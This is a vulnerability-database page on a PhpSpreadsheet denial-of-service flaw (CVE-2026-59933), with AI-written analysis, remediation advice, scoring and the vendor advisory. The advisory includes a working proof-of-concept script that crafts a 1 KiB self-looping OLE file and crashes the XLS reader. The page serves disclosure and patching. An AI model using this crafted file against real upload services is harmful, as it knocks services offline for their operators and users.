Skip to main content

PhpSpreadsheet CVE-2026-59933

| EUVDEUVD-2026-49930 HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-07-23 https://github.com/PHPOffice/PhpSpreadsheet GHSA-xh5m-36r6-47m3
7.5
CVSS 3.1 · Vendor: https://github.com/PHPOffice/PhpSpreadsheet
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Upload crafted 1 KiB .xls to import endpoint
  2. Delivery
    App auto-detects type via canRead()
  3. Exploit
    OLERead follows self-looping SAT sector chain
  4. Execution
    smallBlockChain appended in unbounded loop
  5. Persist
    PHP memory limit exhausted
  6. Impact
    Worker killed, service denial

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The only prerequisite is that the target application parses an attacker-supplied .xls/OLE file through PhpSpreadsheet's XLS reader or automatic type detection (IOFactory::createReaderForFile / Reader\Xls::canRead / loadOLE) - no authentication, no user interaction, and no special product configuration are required, since detection happens before the file is validated as a real workbook. What limits exploitation: the attacker must be able to deliver the file to a code path that invokes the Xls reader or auto-detection (an upload/import/preview/convert endpoint that includes XLS handling); an application that only ever reads trusted files, restricts formats to XLSX/CSV without probing, or never calls canRead() on untrusted input is not exposed. Impact is confined to denial of service of the parsing worker.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base 7.5) is internally consistent for a network-reachable, no-auth, no-interaction availability-only impact, and matches the description: exploitation happens during canRead()/type detection before authentication to the workbook is relevant. This is a genuine availability risk for exposed upload/preview/conversion services, but it is bounded - impact is DoS only, with no confidentiality or integrity loss and no code execution. A functional proof of concept is public (embedded in the GHSA advisory), which raises practical exploitability, but there is no CISA KEV listing and no evidence of active exploitation, so this should be treated as an easily-weaponizable DoS rather than an emergency. No EPSS score was provided in the input, so probabilistic exploitation likelihood cannot be quantified here. One caveat to verify: AV:N assumes the attacker can deliver the file to a network-facing parser (typical for upload handlers); in deployments where spreadsheets arrive only through local/offline batch jobs, the realistic vector is closer to local file delivery.

Exploit ScenarioDerived

An attacker uploads a crafted ~1 KiB .xls file to a web app that accepts spreadsheet uploads (e.g. an import, preview, or document-conversion feature). When the app calls IOFactory or Reader\Xls::canRead() to auto-detect the file type, OLERead::read() enters the self-looping sector chain and the PHP worker consumes all available memory and is killed. A public proof of concept exists in the vendor advisory, and because AV:N/AC:L/PR:N/UI:N the attack needs only the ability to submit the file and no authentication or user interaction.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Denial of service in PhpSpreadsheet (PHPOffice) versions 2.0.0 through 5.8.0 lets remote unauthenticated attackers crash a PHP worker with a ~1 KiB malformed XLS/OLE file. The library's OLERead::read() follows attacker-controlled OLE sector chains without cycle detection, so a sector that points back to itself makes the small-block depot loop append the same data until memory is exhausted. It is triggered during automatic format detection via Reader\Xls::canRead(), so any app that probes untrusted spreadsheet uploads is affected; a working proof of concept is published in the vendor advisory, though the flaw is not in CISA KEV.

RemediationAI

Vendor-released patch: upgrade to the fixed release for your branch - 5.8.1, 3.10.7, 2.4.7, or 2.1.18 (1.30.6 for the 1.x line) - via Composer (composer update phpoffice/phpspreadsheet), applying the fix commit 85f2556b0bf5269061bf45932ecda8a128d81750 which adds a catchLoop() visited-sector guard that throws a recoverable Reader\Exception on cyclic OLE chains. See https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3 and the release notes at https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1. If you cannot upgrade immediately, compensating controls include: reject or skip .xls/OLE inputs and disable automatic format detection so untrusted files never reach Reader\Xls::canRead() (trade-off: legitimate legacy XLS uploads stop working); run parsing in an isolated worker with a strict per-request memory_limit and short execution timeout plus process supervision so an OOM kills only one worker and auto-restarts rather than degrading the service (trade-off: does not prevent the crash, only contains blast radius); and enforce small upload size limits (note this only partially helps, since the PoC file is ~1 KiB). None of these substitute for the patch, which is the definitive fix.

Affected VersionsENISA

PhpSpreadsheet 2.2.0, < 2.4.7
PhpSpreadsheet 4.0.0, < 5.8.1
PhpSpreadsheet 3.3.0, < 3.10.7
PhpSpreadsheet 2.0.0, < 2.1.18
PhpSpreadsheet < 1.30.6

Affected Packages

composer phpoffice/phpspreadsheet fix: 1.30.6, 2.1.18, 2.4.7, 3.10.7, 5.8.1
euvd phpspreadsheet fix: 1.30.6, 2.1.18, 2.4.7, 3.10.7, 5.8.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the Microsoft Compound File Binary (OLE2/CFB) parser inside PhpSpreadsheet's Shared\OLERead class, which XLS files use as their container format. OLE storage is organized into fixed-size sectors linked by allocation tables (the SAT/big-block chain and SSAT/small-block-depot chain); a reader walks these singly-linked chains until it hits the -2 end-of-chain marker. The root cause is CWE-400 (Uncontrolled Resource Consumption): the loop at OLERead.php:132-146 trusts header fields (sbdStartBlock) and allocation-table entries from the file, with no visited-sector set, no maximum iteration bound tied to file size, and no EOF/bounds check. When the SAT maps sector 0 to sector 0, getInt4d() keeps returning the same next-sector index and smallBlockChain grows without limit. The advisory notes the same unbounded-walk pattern also exists in stream extraction paths (OLERead.php:175-180, 198-202, 218-222) and readData().

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/PHPOffice/PhpSpreadsheet) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Remote unauthenticated attacker delivers a file to auto-detection (AV:N/AC:L/PR:N/UI:N); impact is memory-exhaustion DoS only, so C:N/I:N/A:H with no scope change.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).

CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.

This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.

Vulnerability details

OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:

  • src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.
  • src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.
  • src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.

The vulnerable loop is:

php
$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;

    $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
    $pos += 4 * $bbs;

    $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}

There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.

The issue is reachable during normal reader detection/loading:

  • src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().
  • src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().
  • src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.

Similar unbounded sector-chain walks exist later in stream reading:

  • src/PhpSpreadsheet/Shared/OLERead.php:175-180
  • src/PhpSpreadsheet/Shared/OLERead.php:198-202
  • src/PhpSpreadsheet/Shared/OLERead.php:218-222

The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.

Impact

A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.

The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.

bash
docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9));     // sector size 512
$set(32, pack("v", 6));     // mini sector size 64
$set(44, pack("l", 1));     // 1 SAT sector
$set(48, pack("l", 0));     // directory first sector 0
$set(56, pack("l", 4096));  // mini stream cutoff
$set(60, pack("l", 0));     // SSAT first sector 0
$set(64, pack("l", 1));     // one SSAT sector
$set(68, pack("l", -2));    // no MSAT extension
$set(72, pack("l", 0));     // no extension sectors
$set(76, pack("l", 0));     // DIFAT says SAT is sector 0
$set(512, pack("l", 0));    // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH

Observed output:

text
ole_size=1024
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164

Suggested remediation

  • Validate every OLE sector-chain walk with:
  • a visited-sector set to reject cycles;
  • maximum chain length based on file size and sector size;
  • bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain;
  • rejection of negative sector IDs other than the documented end-of-chain marker.
  • Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains.
  • Apply the same guarded chain-walk helper to:
  • small-block depot chain construction;
  • small-block stream extraction;
  • big-block stream extraction;
  • readData().
  • Add regression tests with self-looping and out-of-range SAT/SSAT chains.

Executive ViewAI

Why It Matters

PhpSpreadsheet (versions 2.0.0-5.8.0), used in PHP applications to process spreadsheets, is vulnerable to denial-of-service attacks from remote, unauthenticated attackers. Any organization processing spreadsheet uploads faces service disruption risk; publicly available exploit code means attackers can crash application workers with minimal effort. Urgent patching is critical for organizations relying on spreadsheet processing in customer-facing workflows.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.7%
Top 51% exploitable
Prevalence
High
one of the most widely used PHP spreadsheet libraries in web apps
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy